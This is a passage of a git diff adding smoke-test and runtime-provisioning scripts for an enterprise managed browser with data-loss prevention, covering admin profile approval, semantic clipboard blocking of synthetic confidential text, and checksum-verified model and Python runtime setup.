waitFor(`!document.getElementById('workspace').hidden&&document.getElementById('status').textContent.includes('Connected')`);} + + await evaluate(`document.getElementById('profile-template').value='employee';document.getElementById('profile-use-template').click();document.getElementById('profile-id').value='research-europe';document.getElementById('profile-name').value='Research Europe';for(const input of document.querySelectorAll('#profile-devices input'))input.checked=input.value==='pilot-device';document.getElementById('profile-blocked').value='restricted.synthetic.example';document.getElementById('profile-save').click()`); + if(reviewProof){ + await waitFor(`document.getElementById('status').textContent.includes('prepared for independent approval')`);assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v1');assert.equal(await evaluate(`document.querySelectorAll('#profiles-rows tr').length`),0); + await window.webContents.session.cookies.set({url:process.env.SAFETYNET_ADMIN_SMOKE_URL,name:'sn_session',value:process.env.SAFETYNET_PROFILE_REVIEWER_TOKEN,httpOnly:true,sameSite:'lax'});await window.reload();await waitFor(`!document.getElementById('workspace').hidden&&document.querySelector('#reviews-rows button')`); + await evaluate(`document.querySelector('#reviews-rows button').click()`);await waitFor(`!document.getElementById('independent-review-detail').hidden`); + const operation=await evaluate(`document.getElementById('independent-review-operation').textContent`);for(const value of ['research-europe','pilot-device','devTools','restricted.synthetic.example'])assert.ok(operation.includes(value),`Exact proposal missing ${value}`); + await evaluate(`document.getElementById('independent-review-confirm').checked=true;document.getElementById('independent-review-confirm').dispatchEvent(new Event('change'));document.getElementById('independent-review-approve').click()`);await waitFor(`document.getElementById('policy-version').textContent==='v2'`); + }else{await waitFor(`document.getElementById('policy-version').textContent==='v2'&&document.getElementById('status').textContent.includes('published')`);} + assert.equal(await evaluate(`document.querySelector('#profiles-rows tr td:nth-child(3)').textContent`),'deny'); + await evaluate(`document.getElementById('profile-preview-device').value='pilot-device';document.getElementById('profile-preview').click()`);await waitFor(`document.getElementById('profile-preview-summary').textContent.includes('research-europe')`); + assert.equal(await evaluate(`document.getElementById('profile-preview-diff').textContent.includes('restricted.synthetic.example')`),true); + await evaluate(`document.getElementById('profile-preview-device').value='outside-device';document.getElementById('profile-preview').click()`);await waitFor(`document.getElementById('profile-preview-summary').textContent.includes('baseline only')`); + assert.equal(await evaluate(`document.getElementById('profile-preview-diff').textContent.includes('restricted.synthetic.example')`),false);assert.equal(await evaluate(`globalThis.__proofErrors`),0); + await evaluate(`document.getElementById('user-profiles').scrollIntoView()`);window.webContents.invalidate();await new Promise(r=>setTimeout(r,300));fs.mkdirSync(path.resolve('artifacts'),{recursive:true});fs.writeFileSync(path.resolve('artifacts/profiles-admin.png'),(await window.webContents.capturePage()).toPNG()); + console.log('PROFILE_ADMIN_PROOF_OK');clearTimeout(deadline);window.destroy();app.exit(0); +}).catch(error=>{console.error('PROFILE_ADMIN_PROOF_FAILED',error.stack);clearTimeout(deadline);window?.destroy();app.exit(1);}); diff --git a/scripts/profiles-admin-smoke.mjs b/scripts/profiles-admin-smoke.mjs new file mode 100644 index 0000000..1d1bef6 --- /dev/null +++ b/scripts/profiles-admin-smoke.mjs @@ -0,0 +1,29 @@ +// Finite, isolated administrator workflow proof using actual UI and HTTP routes. +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +import { createServer } from 'node:net'; +import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, resolve, sep, basename } from 'node:path'; +import { spawn } from 'node:child_process'; +import { randomBytes } from 'node:crypto'; +import { digest } from '../apps/server/store.mjs'; +import { openStore } from '../apps/server/store.mjs'; +import { createApp } from '../apps/server/app.mjs'; +import { verifyPolicy } from '../packages/core/policy.mjs'; +const require=createRequire(import.meta.url),directory=mkdtempSync(join(tmpdir(),'safetynet-profiles-admin-smoke-')); +let store,server,child; +try{ + store=openStore(join(directory,'management'));const adminToken=randomBytes(32).toString('base64url'),config={adminToken,publicUrl:'http://127.0.0.1',secure:false,requireIndependentPolicyApproval:process.env.SAFETYNET_PROFILE_REVIEW_PROOF==='1'}; + for(const id of ['pilot-device','member-device','outside-device'])store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash,last_seen) VALUES(?,?,?,?,?,?)').run(id,id,'win32','synthetic-user',`synthetic-${id}`,new Date().toISOString()); + const operatorToken=randomBytes(32).toString('base64url'),reviewerToken=randomBytes(32).toString('base64url');for(const [value,sub,role]of [[operatorToken,'group-operator','operator'],[reviewerToken,'group-reviewer','admin']])store.db.prepare('INSERT INTO sessions VALUES(?,?,?)').run(digest(value),Date.now()+60000,JSON.stringify({sub,role})); + server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));config.publicUrl=`http://127.0.0.1:${server.address().port}`; + const env={...process.env,SAFETYNET_ADMIN_SMOKE_PROFILE:join(directory,'browser'),SAFETYNET_ADMIN_SMOKE_URL:config.publicUrl,SAFETYNET_ADMIN_SMOKE_TOKEN:adminToken,SAFETYNET_PROFILE_OPERATOR_TOKEN:operatorToken,SAFETYNET_PROFILE_REVIEWER_TOKEN:reviewerToken};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(require('electron'),['scripts/profiles-admin-smoke.cjs'],{env,windowsHide:true,stdio:['ignore','pipe','pipe']});child.stdout.on('data',data=>{if(String(data).includes('PROFILE_ADMIN_PROOF_OK'))console.log('Profile administrator interface workflow passed.');});child.stderr.on('data',data=>{const text=String(data);if(text.includes('PROFILE_ADMIN_PROOF_'))console.error(text.trim());}); + const timer=setTimeout(()=>child.kill(),60000),code=await new Promise(r=>{child.once('exit',code=>r(code??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(code,0,'Profile administrator interface proof failed'); + const policy=verifyPolicy(store.envelope(),store.publicKey());assert.equal(policy.version,2); + const report={actualAdministratorUi:true,explicitDeviceAssignments:true,employeeDeveloperFlags:true,websiteRestrictions:true,noNode:true,cspPreserved:true,...(config.requireIndependentPolicyApproval?{operatorProposalLeftPolicyUnchanged:true,exactProfileReviewed:true,distinctAdministratorApproval:true}:{effectivePreview:true})};mkdirSync('artifacts',{recursive:true});writeFileSync(config.requireIndependentPolicyApproval?'artifacts/profiles-review-admin-proof.json':'artifacts/profiles-admin-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{ + child?.kill();if(server)await new Promise(r=>{server.closeAllConnections?.();server.close(r);});store?.db.close();const target=resolve(directory);if(!target.startsWith(resolve(tmpdir())+sep)||!basename(target).startsWith('safetynet-profiles-admin-smoke-'))throw Error('Unsafe proof cleanup');rmSync(target,{recursive:true,force:true,maxRetries:10,retryDelay:100}); +} + diff --git a/scripts/provision-model.py b/scripts/provision-model.py new file mode 100644 index 0000000..cd391a3 --- /dev/null +++ b/scripts/provision-model.py @@ -0,0 +1,4 @@ +"""Compatibility entry point for verified offline semantic provisioning.""" +from runpy import run_path +from pathlib import Path +run_path(str(Path(__file__).with_name('provision-semantic-runtime.py')), run_name='__main__') diff --git a/scripts/provision-semantic-runtime.py b/scripts/provision-semantic-runtime.py new file mode 100644 index 0000000..f86c95a --- /dev/null +++ b/scripts/provision-semantic-runtime.py @@ -0,0 +1,70 @@ +"""Provision an offline, verified EmbeddingGemma 2 Windows distribution.""" +import argparse +import hashlib +import json +from pathlib import Path +import shutil +import tempfile + +ROOT = Path(__file__).resolve().parents[1] +DEST = ROOT / '.runtime/windows/semantic' +PIN = 'bfcd298762cc34d0357ece5ebdd31791a3a374d8' +MODELS = { + 'embeddinggemma-2-Q8_0.gguf': (309855456, '2188ac1deca4b77dffefd603c2776a9d76d9d74ec01841392982ebb840b09135'), + 'mmproj-embeddinggemma-2-Q8_0.gguf': (554821024, 'c4a8a52691ecef40618438928bdf9e68379b854e24166f292592353db0aab64f'), +} + +def verify(base, item): + name = item['path'] + if Path(name).name != name or ':' in name or '\\' in name or '/' in name: + raise ValueError('Invalid artifact name') + file = base / name + if file.is_symlink() or not file.is_file() or file.stat().st_size != item['bytes']: + raise ValueError('Artifact missing or incorrect size: ' + name) + digest = hashlib.sha256() + with file.open('rb') as stream: + while block := stream.read(1024 * 1024): digest.update(block) + if digest.hexdigest() != item['sha256']: raise ValueError('Artifact digest mismatch: ' + name) + +def validate(base): + manifest = json.loads((base / 'models/model-manifest.json').read_text('utf-8')) + if (manifest['model_id'], manifest['revision'], manifest['dimensions'], manifest['quantization'], manifest['runtime_tag']) != ('google/embeddinggemma-2', PIN, 768, 'Q8_0', 'b11461'): + raise ValueError('Model identity mismatch') + for name, (size, digest) in MODELS.items(): verify(base / 'models', {'path': name, 'bytes': size, 'sha256': digest}) + files = json.loads((base / 'runtime-manifest.json').read_text('utf-8'))['files'] + if not 1 <= len(files) <= 64 or len({item['path'].lower() for item in files}) != len(files): raise ValueError('Invalid runtime inventory') + if not any(item['path'] == 'searchi-gemma-worker.exe' for item in files): raise ValueError('Worker absent') + for item in files: verify(base, item) + if {p.name.lower() for p in base.glob('*.dll')} != {i['path'].lower() for i in files if i['path'].lower().endswith('.dll')}: raise ValueError('Unverified DLL') + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument('--source-project', type=Path) + parser.add_argument('--verify', action='store_true') + args = parser.parse_args() + if DEST.exists(): + validate(DEST) + print('Verified offline EmbeddingGemma 2 model and Windows runtime.') + return + if args.verify or args.source_project is None: raise ValueError('Provision semantic runtime with --source-project before packaging') + source = args.source_project.resolve() + runtime = source / '.searchi/runtime/auto/Release' + inventory = json.loads((runtime / 'runtime-libraries.json').read_text('utf-8')) + worker = runtime / 'searchi-gemma-worker.exe' + files = [{'path': worker.name, 'bytes': worker.stat().st_size, 'sha256': inventory['worker_sha256']}, *inventory['libraries']] + for item in files: verify(runtime, item) + DEST.parent.mkdir(parents=True, exist_ok=True) + candidate = Path(tempfile.mkdtemp(prefix='semantic-stage-', dir=DEST.parent)) + # A failed stage is retained for diagnosis; never delete another project's assets. + (candidate / 'models').mkdir() + for item in files: shutil.copy2(runtime / item['path'], candidate / item['path']) + (candidate / 'runtime-manifest.json').write_text(json.dumps({'files': files}, indent=2), 'utf-8') + shutil.copy2(source / 'tools/embeddinggemma2/model-manifest.json', candidate / 'models/model-manifest.json') + for name in MODELS: shutil.copy2(source / '.searchi/models/embeddinggemma2' / name, candidate / 'models' / name) + shutil.copy2(source / '.searchi/references/llama.cpp/LICENSE', candidate / 'LLAMA-LICENSE.txt') + for name in ('MSVC-REDISTRIBUTION.txt', 'VULKAN-LICENSE.txt'): shutil.copy2(runtime / name, candidate / name) + validate(candidate) + candidate.rename(DEST) + print('Provisioned verified offline EmbeddingGemma 2 model and Windows runtime.') + +if __name__ == '__main__': main() diff --git a/scripts/provision-windows-runtime.py b/scripts/provision-windows-runtime.py new file mode 100644 index 0000000..dac27fc --- /dev/null +++ b/scripts/provision-windows-runtime.py @@ -0,0 +1,45 @@ +"""Build a pinned private Windows x64 inspector runtime; no machine-wide install.""" +import hashlib +import json +import shutil +import subprocess +import sys +import urllib.request +import zipfile +from pathlib import Path + +if sys.platform!='win32': raise SystemExit('Windows runtime provisioning runs on Windows only') +VERSION='3.13.16' +CHECKSUM='97dae5274cc54867065e8d5a3226e48c35017ed332a0fdb0e27d5b5821961297' +root=Path.cwd().resolve() +directory=root/'.runtime'/'windows'/'python' +directory.mkdir(parents=True,exist_ok=True) +requirements=root/'apps'/'inspector'/'requirements.lock.txt' +requirements_hash=hashlib.sha256(requirements.read_bytes()).hexdigest() +manifest=directory/'safetynet-runtime.json' +expected={'python':VERSION,'architecture':'amd64','sha256':CHECKSUM,'requirementsHash':requirements_hash} +if not manifest.exists() or json.loads(manifest.read_text())!=expected: + archive=directory.parent/f'python-{VERSION}-embed-amd64.zip' + if not archive.exists() or hashlib.sha256(archive.read_bytes()).hexdigest()!=CHECKSUM: + with urllib.request.urlopen(f'https://www.python.org/ftp/python/{VERSION}/python-{VERSION}-embed-amd64.zip',timeout=60) as response: + payload=response.read(20*1024*1024) + if hashlib.sha256(payload).hexdigest()!=CHECKSUM: raise SystemExit('Python runtime checksum mismatch') + archive.write_bytes(payload) + with zipfile.ZipFile(archive) as package: + for entry in package.infolist(): + target=(directory/entry.filename).resolve() + if not target.is_relative_to(directory): raise SystemExit('Runtime archive path rejected') + if not entry.is_dir(): + target.parent.mkdir(parents=True,exist_ok=True) + target.write_bytes(package.read(entry)) + (directory/'python313._pth').write_text('python313.zip\n.\nLib/site-packages\n../inspector\nimport site\n') + subprocess.run([sys.executable,'-m','pip','install','--target',str(directory/'Lib'/'site-packages'), + '--platform','win_amd64','--python-version','3.13','--implementation','cp','--abi','cp313', + '--only-binary=:all:','--require-hashes','--upgrade','-r',str(requirements)],check=True) + manifest.write_text(json.dumps(expected,indent=2)) +inspector=directory.parent/'inspector' +inspector.mkdir(exist_ok=True) +for name in ['engine.py','server.py','semantic.py','windows_containment.py','windows_appcontainer.py','sandbox_worker.py','provision_runtime_acl.py']: + shutil.copyfile(root/'apps'/'inspector'/name,inspector/name) +subprocess.run([str(directory/'python.exe'),'-c','import pypdf, PIL, defusedxml, yara, engine; assert engine.inspect_content(b"public", {"dlp":{"maxBytes":1024,"rules":[],"semantic":{"enabled":False}}})["decision"] == "allow"; assert yara.compile(source="rule test { condition: true }").match(data=b"test"); engine.local_ocr(); print("Bundled Windows inspector, YARA and offline ONNX OCR runtime verified.")'],check=True) +subprocess.run([str(directory/'python.exe'),str(root/'apps/inspector/provision_runtime_acl.py'),'--provision'],check=True) diff --git a/scripts/semantic-browser-smoke.cjs b/scripts/semantic-browser-smoke.cjs new file mode 100644 index 0000000..5decdcb --- /dev/null +++ b/scripts/semantic-browser-smoke.cjs @@ -0,0 +1,34 @@ +// Finite native fixture: synthetic teaching data, real signed policy and CPU model. +const {app,BrowserWindow,clipboard,ClipboardItem}=require('electron'); +const fs=require('node:fs'),path=require('node:path'),assert=require('node:assert/strict'); +app.setPath('userData',process.env.SAFETYNET_SEMANTIC_PROFILE); +app.setPath('sessionData',process.env.SAFETYNET_SEMANTIC_PROFILE); +app.disableHardwareAcceleration(); +require('../apps/browser/main.cjs'); +const wait=ms=>new Promise(resolve=>setTimeout(resolve,ms)); +const deadline=setTimeout(()=>app.exit(1),90000); +app.whenReady().then(async()=>{let original;try{ + let win; + for(let i=0;i<150;i++){win=BrowserWindow.getAllWindows()[0];if(win&&!win.webContents.isLoading()&&win.webContents.getURL().endsWith('index.html'))break;await wait(100);} + assert.ok(win,'Trusted shell unavailable'); + const enrolled=await win.webContents.executeJavaScript(`window.safetynet.enroll(${JSON.stringify({server:process.env.SAFETYNET_SEMANTIC_SERVER,code:process.env.SAFETYNET_SEMANTIC_CODE})})`); + assert.equal(enrolled.ok,true,'Enrollment failed');assert.equal(enrolled.data.ready,true); + const page=win.contentView.children.find(child=>child.webContents!==win.webContents).webContents; + for(let i=0;i<100&&page.isLoading();i++)await wait(100); + const connection=JSON.parse(process.env.SAFETYNET_SEMANTIC_FIXTURES); + original=[];for(const item of await clipboard.read()){const data={};for(const type of item.types)data[type]=await item.getType(type);if(Object.keys(data).length)original.push(new ClipboardItem(data));} + async function select(text){await page.executeJavaScript(`(()=>{let node=document.getElementById('source');node.textContent=${JSON.stringify(text)};const range=document.createRange();range.selectNodeContents(node);const selection=getSelection();selection.removeAllRanges();selection.addRange(range);})()`);} + async function copy(){win.show();win.focus();page.focus();page.sendInputEvent({type:'keyDown',keyCode:'C',modifiers:['control']});page.sendInputEvent({type:'keyUp',keyCode:'C',modifiers:['control']});await wait(500);for(let i=0;i<150;i++){const state=await win.webContents.executeJavaScript('window.safetynet.state()');if(!state.data.clipboardPending)return;await wait(100);}throw Error('Native clipboard scan timed out');} + const sentinel='Public semantic test clipboard marker'; + await clipboard.writeText(sentinel);await select(connection.paraphrase);await copy(); + assert.ok((await clipboard.readText())===sentinel,'Semantic confidential paraphrase reached OS clipboard'); + const overview=await (await fetch(`${process.env.SAFETYNET_SEMANTIC_SERVER}/api/admin/overview`,{headers:{authorization:`Bearer ${process.env.SAFETYNET_SEMANTIC_ADMIN}`}})).json(); + assert.ok(overview.events.some(event=>event.kind==='clipboard.block'&&event.metadata.ruleId==='synthetic-restructuring'),'Semantic rule did not cause centrally audited block'); + await select(connection.publicText);await copy(); + for(let i=0;i<30&&await clipboard.readText()!==connection.publicText;i++)await wait(100); + assert.equal(await clipboard.readText(),connection.publicText,'Public text was not copied through real local semantic inference'); + assert.equal(JSON.stringify(overview.events).includes(connection.paraphrase),false,'Audit contains raw clipboard text'); + console.log(JSON.stringify({nativeSemanticClipboard:true,confidentialParaphraseBlocked:true,publicTextAllowed:true,centralAuditMetadataOnly:true})); + if(original.length)await clipboard.write(original);else await clipboard.clear();original=null;clearTimeout(deadline);app.quit(); +}catch(error){console.error(JSON.stringify({nativeSemanticClipboard:false,error:error.message}));if(original){try{if(original.length)await clipboard.write(original);else await clipboard.clear();}catch{}}clearTimeout(deadline);app.exit(1);}}); + diff --git a/scripts/semantic-browser-smoke.mjs b/scripts/semantic-browser-smoke.mjs new file mode 100644 index 0000000..a627c45 --- /dev/null +++ b/scripts/semantic-browser-smoke.mjs @@ -0,0 +1,51 @@ +// Independent localhost control plane and real Windows browser. No cloud/model downloads. +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +import {createServer} from 'node:http'; +import {mkdtempSync,mkdirSync,existsSync,writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join,resolve} from 'node:path'; +import {spawn} from 'node:child_process'; +import {randomBytes} from 'node:crypto'; +import {createApp} from '../apps/server/app.mjs'; +import {openStore,digest} from '../apps/server/store.mjs'; +import {inspect,verifyPolicy} from '../packages/core/policy.mjs'; +const require=createRequire(import.meta.url),electron=require('electron'); +const temporary=mkdtempSync(join(tmpdir(),'safetynet-semantic-browser-')); +const runtime=resolve('.runtime/windows/semantic'),python=resolve('.runtime/windows/python/python.exe'); +assert.ok(existsSync(join(runtime,'models/model-manifest.json')),'Stage verified local model artifacts before running'); +const fixtures={reference:'Confidential corporate restructuring will close the Lisbon office next autumn and eliminate two hundred positions before the public announcement. Leadership is negotiating a six-million-euro acquisition of a rival. These undisclosed staffing reductions and acquisition plans are restricted internal company information.',paraphrase:'Private workforce planning calls for shutting the Portugal branch after summer and cutting roughly two hundred jobs. Executives are discussing a six-million-euro purchase of a competitor; the timetable and personnel reductions remain undisclosed.',publicText:'A simple tomato pasta recipe combines ripe tomatoes, olive oil, garlic and fresh basil. Boil the pasta in salted water and serve it warm.'}; +let inspector,management,sink,store,child; +const report={model:'google/embeddinggemma-2',revision:'bfcd298762cc34d0357ece5ebdd31791a3a374d8',dimensions:768,profile:'document-v1',artifactFormat:'gguf',quantization:'Q8_0',runtimeRevision:'b11461',local:true}; +try{ + const inspectorToken=randomBytes(32).toString('base64url'),adminToken=randomBytes(32).toString('base64url'),code=randomBytes(32).toString('base64url'); + inspector=spawn(python,['apps/inspector/server.py'],{windowsHide:true,stdio:['ignore','pipe','pipe'],env:{...process.env,EMBEDDING_MODEL_DIR:join(runtime,'models'),EMBEDDING_WORKER_PATH:join(runtime,'searchi-gemma-worker.exe'),INSPECTOR_TOKEN:inspectorToken,INSPECTOR_PORT:'0',INSPECTOR_PARENT_PID:String(process.pid)}}); + inspector.stderr.on('data',()=>{}); + const inspectorPort=await new Promise((accept,reject)=>{let output='';const timeout=setTimeout(()=>{inspector.kill();reject(Error('Inspector startup timed out'));},40000);inspector.once('error',reject);inspector.once('exit',()=>{clearTimeout(timeout);reject(Error('Inspector exited before startup'));});inspector.stdout.on('data',chunk=>{output+=chunk;if(output.includes('\n')){clearTimeout(timeout);try{accept(JSON.parse(output.split('\n')[0]).port);}catch{reject(Error('Invalid inspector startup'));}}});}); + sink=createServer((_req,res)=>{res.setHeader('Content-Type','text/html');res.end('Local semantic enforcement fixture

Public browser fixture

');}).listen(0,'127.0.0.1');await new Promise(resolve=>sink.once('listening',resolve));
+  store=openStore(join(temporary,'management.sqlite'));
+  const initial=store.get('policy');initial.browser.homeUrl=`http://127.0.0.1:${sink.address().port}`;initial.browser.allowedHosts=['127.0.0.1'];initial.dlp.rules=[];store.put('policy',initial);
+  store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+600000,'synthetic-semantic-user');
+  const config={publicUrl:'http://127.0.0.1',secure:false,adminToken,inspectorUrl:`http://127.0.0.1:${inspectorPort}`,inspectorToken};
+  management=createApp(store,config).listen(0,'127.0.0.1');await new Promise(resolve=>management.once('listening',resolve));config.publicUrl=`http://127.0.0.1:${management.address().port}`;
+  async function admin(route,body,method='POST'){const result=await fetch(config.publicUrl+route,{method,headers:{authorization:`Bearer ${adminToken}`,'content-type':'application/json'},body:JSON.stringify(body),signal:AbortSignal.timeout(90000)});assert.equal(result.status,200,`Central route ${route} failed`);return result.json();}
+  const teaching=await admin('/api/admin/teaching',{label:'Synthetic confidential workforce plan',filename:'synthetic-reference.txt',data:Buffer.from(fixtures.reference).toString('base64')});
+  await admin(`/api/admin/teaching/${teaching.id}/publish`,{expectedVersion:initial.version,approve:true});
+  const reference=await admin('/api/admin/semantic/reference',{description:fixtures.reference});
+  for(const key of ['model','revision','dimensions','profile','artifactFormat','quantization','runtimeRevision','local'])assert.equal(reference[key],report[key],`Unexpected local model ${key}`);
+  const policy=store.get('policy');policy.version++;policy.dlp.semantic={enabled:true,model:reference.model,revision:reference.revision,dimensions:reference.dimensions,profile:reference.profile,artifactFormat:reference.artifactFormat,quantization:reference.quantization,runtimeRevision:reference.runtimeRevision,categories:[{id:'synthetic-restructuring',label:'Synthetic restricted workforce plan',threshold:0.65,prototype:reference.vector,prototypes:reference.vectors}]};
+  assert.equal(inspect(Buffer.from(fixtures.paraphrase),policy).decision,'allow','Paraphrase accidentally matches a deterministic rule');
+  const secret=await admin('/api/admin/policy/test',{text:fixtures.paraphrase,policy}),ordinary=await admin('/api/admin/policy/test',{text:fixtures.publicText,policy});
+  assert.equal(secret.ruleId,'synthetic-restructuring','Semantic paraphrase did not match calibrated category');assert.equal(ordinary.decision,'allow','Unrelated public text failed semantic calibration');
+  await admin('/api/admin/policy',policy,'PUT');const signed=verifyPolicy(store.envelope(),store.publicKey());assert.equal(signed.dlp.semantic.revision,report.revision);assert.equal(signed.dlp.semantic.profile,report.profile);
+  const env={...process.env,SAFETYNET_SEMANTIC_PROFILE:join(temporary,'browser'),SAFETYNET_SEMANTIC_SERVER:config.publicUrl,SAFETYNET_SEMANTIC_CODE:code,SAFETYNET_SEMANTIC_ADMIN:adminToken,SAFETYNET_SEMANTIC_FIXTURES:JSON.stringify(fixtures)};
+  // Prove the browser's automatic bundled-path wiring rather than the fixture inspector environment.
+  delete env.EMBEDDING_MODEL_DIR;delete env.EMBEDDING_WORKER_PATH;delete env.ELECTRON_RUN_AS_NODE;
+  child=spawn(electron,['scripts/semantic-browser-smoke.cjs'],{windowsHide:true,stdio:'inherit',env});const timer=setTimeout(()=>child.kill(),100000);
+  const status=await new Promise(resolve=>{child.once('exit',code=>resolve(code??1));child.once('error',()=>resolve(1));});clearTimeout(timer);assert.equal(status,0,'Native semantic browser fixture failed');
+  Object.assign(report,{centralTeaching:true,signedPolicyVerified:true,deterministicParaphraseAllow:true,semanticParaphraseBlock:true,publicTextAllow:true,paraphraseSimilarity:secret.similarity?.[0]?.score,publicSimilarity:ordinary.similarity?.[0]?.score,nativeProofPassed:true});
+  mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/semantic-browser-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report));
+}finally{
+  child?.kill();inspector?.kill();for(const server of [management,sink])if(server){server.closeAllConnections();await new Promise(resolve=>server.close(resolve));}store?.db.close();
+}
+
diff --git a/scripts/smoke.mjs b/scripts/smoke.mjs
new file mode 100644
index 0000000..67a9396
--- /dev/null
+++ b/scripts/smoke.mjs
@@ -0,0 +1,54 @@
+import { createServer } from 'node:http';
+import { createRequire } from 'node:module';
+import { mkdtempSync,rmSync,mkdirSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join,resolve } from 'node:path';
+import { spawn } from 'node:child_process';
+import { randomBytes } from 'node:crypto';
+import { createApp } from '../apps/server/app.mjs';
+import { openStore,digest } from '../apps/server/store.mjs';
+const require=createRequire(import.meta.url),electron=require('electron');
+const temporary=mkdtempSync(join(tmpdir(),'safetynet-smoke-'));mkdirSync('artifacts',{recursive:true});
+let posts=0,proxyRequests=0,secondaryRequests=0;
+const visualLogin='Visual identity fixture

SafetyNet Identity Lab

Sign in

Use your laboratory account

'; +const receiver=(req,res)=>{ + res.setHeader('Access-Control-Allow-Origin','*'); + if(req.url==='/count'){res.setHeader('content-type','application/json');res.end(JSON.stringify({posts,proxyRequests,secondaryRequests}));return;} + if(req.url==='/visual-login'){res.setHeader('content-type','text/html');res.end(visualLogin);return;} + if(req.url==='/download-safe'||req.url==='/download-blocked'){ + res.setHeader('Content-Type','application/octet-stream');res.setHeader('Content-Disposition',`attachment; filename="${req.url==='/download-safe'?'safe.bin':'blocked.bin'}"`); + res.end(req.url==='/download-safe'?Buffer.from([0,1,2,3,255]):Buffer.from('SAFETYNET_BLOCK_TEST'));return; + } + if(req.url.startsWith('http://proxy-check.invalid/'))proxyRequests++; + if(req.method==='POST'){posts++;req.resume();res.end('received');return;} + res.setHeader('content-type','text/html');res.end('SafetyNet enforcement fixture

Managed browsing is active

This controlled receiver verifies that blocked payloads never arrive.

Download safe sampleDownload blocked sample'); +}; +const sink=createServer(receiver).listen(0,'127.0.0.1');await new Promise(r=>sink.on('listening',r)); +const secondary=createServer((req,res)=>{secondaryRequests++;res.setHeader('Access-Control-Allow-Origin','*');res.end('secondary');}).listen(0,'127.0.0.2');await new Promise(r=>secondary.on('listening',r)); +const store=openStore(join(temporary,'db')),code=randomBytes(32).toString('base64url'),adminToken=randomBytes(32).toString('base64url'); +const inspectorToken=randomBytes(32).toString('base64url'); +const inspectorProcess=spawn(resolve('.runtime/windows/python/python.exe'),['apps/inspector/server.py'],{windowsHide:true,stdio:['ignore','pipe','pipe'],env:{...process.env,INSPECTOR_TOKEN:inspectorToken,INSPECTOR_PORT:'0',INSPECTOR_PARENT_PID:String(process.pid)}}); +const inspectorPort=await new Promise((resolve,reject)=>{ + let output='';const deadline=setTimeout(()=>{inspectorProcess.kill();reject(Error('Fixture inspector did not start'));},40000); + inspectorProcess.once('exit',()=>{clearTimeout(deadline);reject(Error('Fixture inspector exited before startup'));}); + inspectorProcess.on('error',reject); + inspectorProcess.stdout.on('data',chunk=>{ + output+=chunk; + if(output.includes('\n')){ + clearTimeout(deadline); + try{resolve(JSON.parse(output.split('\n')[0]).port);}catch{reject(Error('Fixture inspector startup rejected'));} + } + }); + inspectorProcess.stderr.on('data',()=>{}); +}); +const p=store.get('policy');p.browser.homeUrl=`http://127.0.0.1:${sink.address().port}`;p.brand={name:'Acme Secure Browser',color:'#245fbc'};p.dlp.rules=[{id:'secret-roadmap',label:'Roadmap',kind:'literal',value:'Secret Roadmap',action:'block'}];store.put('policy',p);store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+600000,'smoke-user'); +p.browser.allowDownloads=true;p.security.yara={enabled:true,rules:[{id:'test-marker',name:'Controlled malicious marker',source:'rule Block_Test { strings: $a = "SAFETYNET_BLOCK_TEST" condition: $a }'}],maxScanBytes:1048576};p.agents={enabled:true,scopes:['sessions','navigate','read','click','type','application:state','settings:get','settings:update','bookmarks:list','bookmarks:mutate','tabs:create','tabs:activate','tabs:close','tabs:group'],allowedHosts:['127.0.0.1'],allowSensitiveRead:false};store.put('policy',p); +const config={publicUrl:'http://127.0.0.1',secure:false,adminToken,inspectorUrl:`http://127.0.0.1:${inspectorPort}`,inspectorToken};const management=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>management.on('listening',r));config.publicUrl=`http://127.0.0.1:${management.address().port}`; +const child=spawn(electron,['scripts/electron-smoke.cjs'],{stdio:'inherit',windowsHide:true,env:{...process.env,SAFETYNET_SMOKE_SERVER:config.publicUrl,SAFETYNET_SMOKE_CODE:code,SAFETYNET_SMOKE_SINK:p.browser.homeUrl,SAFETYNET_SMOKE_SECONDARY:`http://127.0.0.2:${secondary.address().port}`,SAFETYNET_SMOKE_USERDATA:join(temporary,'browser'),SAFETYNET_SMOKE_ARTIFACTS:resolve('artifacts'),SAFETYNET_SMOKE_ADMIN:adminToken}}); +const timeout=setTimeout(()=>child.kill(),240000); +const exitCode=await new Promise(resolve=>{child.on('exit',code=>resolve(code??1));child.on('error',()=>resolve(1));});clearTimeout(timeout); +for(const server of [management,sink,secondary])server.closeAllConnections(); +await Promise.all([new Promise(r=>management.close(r)),new Promise(r=>sink.close(r)),new Promise(r=>secondary.close(r))]);store.db.close(); +inspectorProcess.kill(); +// Temporary paths originate from mkdtemp under the OS temp directory. +rmSync(temporary,{recursive:true,force:true});process.exit(exitCode); diff --git a/scripts/ui-preview.cjs b/scripts/ui-preview.cjs new file mode 100644 index 0000000..25cb055 --- /dev/null +++ b/scripts/ui-preview.cjs @@ -0,0 +1,59 @@ +// Deterministic UI fixture: public invented metadata only; no production main process. +const {app,BrowserWindow,ipcMain}=require('electron'); +const fs=require('node:fs'),path=require('node:path'),os=require('node:os'); +const fixtureDirectory=fs.mkdtempSync(path.join(os.tmpdir(),'safetynet-ui-fixture-')); +function cleanup(){ + const target=path.resolve(fixtureDirectory),parent=path.resolve(os.tmpdir()); + if(path.dirname(target)===parent&&path.basename(target).startsWith('safetynet-ui-fixture-')){ + try{fs.rmSync(target,{recursive:true,force:true});}catch{} + } +} +app.setPath('userData',path.join(fixtureDirectory,'profile')); +app.disableHardwareAcceleration(); +app.commandLine.appendSwitch('force-device-scale-factor','1'); +const watchdog=setTimeout(()=>app.exit(1),20000); +let locked=false; +const state=()=>({ready:true,enrolled:true,brand:{name:'SafetyNet'},policyVersion:1,url:'https://example.test/',message:'UI 